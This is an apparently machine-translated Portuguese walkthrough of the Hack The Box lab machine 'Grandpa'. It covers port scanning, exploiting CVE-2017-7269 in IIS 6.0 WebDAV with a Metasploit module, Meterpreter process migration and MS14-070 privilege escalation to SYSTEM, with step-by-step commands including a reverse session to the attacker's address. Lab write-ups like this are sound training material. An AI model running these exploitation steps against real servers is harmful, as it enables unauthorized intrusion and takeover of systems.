O vovô é uma das máquinas mais simples do Hack The Box, no entanto, abrange o amplamente explorado CVE-2017-7269. Essa vulnerabilidade é trivial de explorar e concedeu acesso imediato a milhares de servidores IIS em todo o mundo quando se tornou conhecimento público


Eu adiciono vovô no arquivo / etc / hosts

sudo /etc/hosts

com

10.10.10.14.     grandpa.htb


Etapa 1 – Reconhecimento

O primeiro passo antes de explorar uma máquina é fazer um pouco de escaneamento e reconhecimento.

Essa é uma das partes mais importantes, pois determinará o que você pode tentar explorar posteriormente. É sempre melhor gastar mais tempo nessa fase para obter o máximo de informações possível.

Digitalização de portas

Vou usar o Nmap (Network Mapper). O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança. Ele usa pacotes IP brutos para determinar quais hosts estão disponíveis na rede, quais serviços esses hosts estão oferecendo, quais sistemas operacionais estão executando, que tipo de filtros / firewalls de pacotes estão em uso e dezenas de outras características.

Existem muitos comandos que você pode usar com esta ferramenta para verificar a rede. Se você quiser saber mais sobre isso, consulte a documentação aqui.

Eu uso o seguinte comando para executar uma verificação intensiva:

nmap -A -v grandpa.htb

-UMA: Ativar detecção de SO, detecção de versão, varredura de script e traceroute

-v: Aumentar o nível de verbosidade

grandpa.htb: nome do host da caixa Vovô

Se você achar os resultados um pouco exagerados, poderá executar outro comando para obter apenas as portas abertas.

nmap grandpa.htb

Podemos ver que há apenas 1 porta aberta:

Porta 80. usado com mais freqüência pelo HTTP (Hypertext Transfer Protocol)

Sabemos que o servidor é um IIS 6.0 do cabeçalho do servidor http. Serviços de Informação da Internet (IISanteriormente Servidor de Informações da Internet) é um software extensível para servidor Web criado pela Microsoft para uso com a família Windows NT. Mais informações aqui

O IIS 6.0 (nome de código “Fita Adesiva”), incluído no Windows Server 2003 e no Windows XP Professional x64 Edition, adicionou suporte ao IPv6 e incluiu um novo modelo de processo do trabalhador que aumentou a segurança e a confiabilidade do HTTP.sys. um ouvinte de protocolo específico de HTTP para solicitações HTTP

Também podemos ver a partir do http-title que o site está “em construção” e que existe uma http-webdav-scan com todos os métodos permitidos

Eu uso o script nmap para tentar obter mais informações. O script envia uma solicitação OPTIONS que lista o tipo de dav, tipo de servidor, data e métodos permitidos. Em seguida, ele envia uma solicitação PROPFIND e tenta buscar diretórios expostos e endereços IP internos, fazendo a correspondência de padrões no corpo da resposta

nmap --script http-webdav-scan -p80 grandpa.htb

Aqui está mais informação neste script no site nmap

WebDAV ou Criação e Versão Distribuída na Web (WebDAV) é uma extensão do Protocolo de transferência de hipertexto que permite aos clientes executar operações remotas de criação de conteúdo da Web. Mais informações aqui

Podemos ver na seção de suporte do servidor que o IIS da Microsoft possui um módulo WebDAV.

eu uso davtest para verificar se eu posso enviar arquivos

Eu uso o seguinte comando

davtest -url http://10.10.10.14

Não parece. eu uso Exploração de pesquisa para verificar se há alguma vulnerabilidade conhecida no IIS 6.0. Searchsploit é uma ferramenta de pesquisa de linha de comando para Explorar banco de dados

Eu uso o seguinte comando

searchsploit iis 6.0

Eu posso ter mais detalhes sobre a exploração com

searchsploit -x 41738.py

O ataque é baseado em um Programação orientada a retorno cadeia. Programação orientada a retorno (ROP) é uma técnica de exploração de segurança que permite que um invasor execute código na presença de defesa de segurança, como proteção de espaço executável e assinatura de código

Você também pode verificar o Explorar banco de dados encontrar a exploração

https://www.exploit-db.com/search?q=iis+6.0

https://www.exploit-db.com/exploits/41738

a Banco de Dados Nacional de Vulnerabilidades

https://nvd.nist.gov/vuln/detail/CVE-2017-7269

a Vulnerabilidades e exposição comuns base de dados

https://www.cvedetails.com/cve/CVE-2017-7269/

Existe um módulo Metasploit disponível

https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl


Etapa 2 – Visitar o site

Não vemos muito quando visitamos o site. No console do desenvolvedor, podemos ver que ele é alimentado pelo ASP.NET estrutura

Nós vamos usar Metasploit, que é uma estrutura de teste de penetração que simplifica os hackers. É uma ferramenta essencial para muitos atacantes e defensores

https://www.metasploit.com/

Eu lanço Estrutura Metasploit no Kali e procure o comando que devo usar para iniciar a exploração

Se eu usar este comando

searchsploit iis 6.0

Recebo a mesma tabela do Terminal mais cedo

Se eu digitar

search iis 6.0

Eu obtenho 174 resultados

A façanha que me interessa é o número 147 nesta lista

Se você deseja obter algumas informações sobre a exploração, pode usar o seguinte comando

info exploit/windows/iis/iis_webdav_scstoragepathfromurl

E você obterá mais detalhes sobre a exploração

Eu uso o seguinte comando para usar a exploração

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

Preciso configurar as opções antes de iniciar a exploração. Eu verifico as opções com

show options

Eu ajustei o RHOSTS com o seguinte comando

set RHOSTS 10.10.10.14

Quando verifico novamente as opções, recebo este

Verifico se o alvo está vulnerável a

check

Então eu executo a exploração com o comando

exploit

E eu recebo um Meterpreter sessão

De Segurança ofensiva site, obtemos esta definição para Meterpreter

O Meterpreter é uma carga útil avançada e dinamicamente extensível que usa em memória Estágios de injeção de DLL e é estendido pela rede em tempo de execução. Ele se comunica pelo soquete stager e fornece uma API Ruby abrangente do lado do cliente. Possui histórico de comandos, conclusão de guias, canais e muito mais.

Você pode ler mais sobre o Meterpreter aqui

Vamos começar reunindo algumas informações

getuid retorna o ID do usuário real do processo de chamada. A sessão que obtive não parece ter privilégios suficientes para executar este comando. O acesso foi negado

Quando isso acontece, listo os processos em execução com

ps

e escolha uma propriedade AUTORIDADE NT SERVIÇO DE REDE

Eu migro para o processo 3644 com

migrate 3644

Agora, quando eu checo getuid, eu tenho

Server username: NT AUTHORITYNETWORK SERVICE

Esta foi a sessão que tive antes de migrar para outro processo

Esta é a sessão que obtive após migrar para outro processo

Digite o seguinte comando para obter um shell padrão no sistema de destino

shell

Verifico quem sou na máquina com o comando

whoami

Eu obtenho mais informações da máquina com

sysinfo

Eu navego para C:

então Documentos e Configurações com

cd "Documents and Settings"

Eu posso ver dois usuários – Administrador e atormentar. Eu tento navegar para Harry. O acesso foi negado. O mesmo para a pasta Administrador – o que é esperado, pois ainda não tenho acesso root

Saio do shell com o comando

exit


Etapa 3 – Usando o sugeridor de exploração local

Eu corro o sugeridor de exploração local. As explorações são sugeridas com base na arquitetura e plataforma em que o usuário possui um shell aberto, bem como nas explorações disponíveis no meterpreter

run post/multi/recon/local_exploit_suggester

Vou usar o MS14-070 explorar. Eu procuro mais algumas informações sobre Metasploit com

info exploit/windows/local/ms14_070_tcpip_ioctl

Assim como no Rapid7 local na rede Internet

https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl


Etapa 4 – Usando o MS14-070 para executar a escalação de privilégios

Coloquei esta sessão em segundo plano com o comando

background

Eu executo o seguinte comando para usar a exploração que encontrei

use exploit/windows/local/ms14_070_tcpip_ioctl

Em seguida, verifico as opções dessa exploração

Eu marquei a sessão com

set SESSION 1

Eu corro a exploração com

run

A exploração foi bem-sucedida, mas não recebi um shell de volta. Eu verifico as opções

e defina o LHOST como meu IP com

set LHOST 10.10.14.36

Você pode verificar o seu aqui

Em seguida, corro a exploração com

exploit

Isso confirma que a exploração foi bem-sucedida, mas ainda não recebi um shell. Eu verifico a sessão com

sessions -l

Eu posso ver que eu tenho

NT AUTHORITYSYSTEM

Volto a esta sessão com

sessions -i 1

eu verifico getuid e pegue AUTORIDADE NT SYSTEM de volta. Recebo um shell padrão no sistema de destino e verifico quem sou eu na máquina. eu recebo AUTORIDADE NT SERVIÇO DE REDE de volta, que não é o que eu quero!

Saio deste shell e verifico os processos. Percebo que tenho acesso de administrador na máquina. Acabei de migrar para outro processo – o que faço com

migrate 408

De volta ao shell padrão no sistema de destino e, quando verifico quem sou na máquina, sou finalmente um administrador!


Etapa 5 – Procurando o sinalizador user.txt

Eu navego para o atormentar pasta do Documentos e Configurações

Eu posso listar todos os arquivos / pastas com o seguinte comando

dir

Eu então passo para o Área de Trabalho

E eu acho a bandeira do usuário! Posso verificar o conteúdo do arquivo com

type user.txt


Etapa 6 – Procurando o sinalizador root.txt

Vamos encontrar a bandeira raiz agora! Eu navego até Comercial e faça o check-in no Administrador/Área de Trabalho pasta. Eu encontro a bandeira!

Eu uso o seguinte comando para ver o conteúdo do arquivo

type root.txt

Parabéns! Você encontrou as duas bandeiras!


Não hesite em comentar, fazer perguntas ou compartilhar com seus amigos 🙂

Você pode ver mais dos meus artigos aqui

Você pode me seguir Twitter ou em LinkedIn

E não se esqueça de #GetSecure, #BeSecure & #StaySecure!


Outros artigos da Hack The Box

Artista – Maureen White para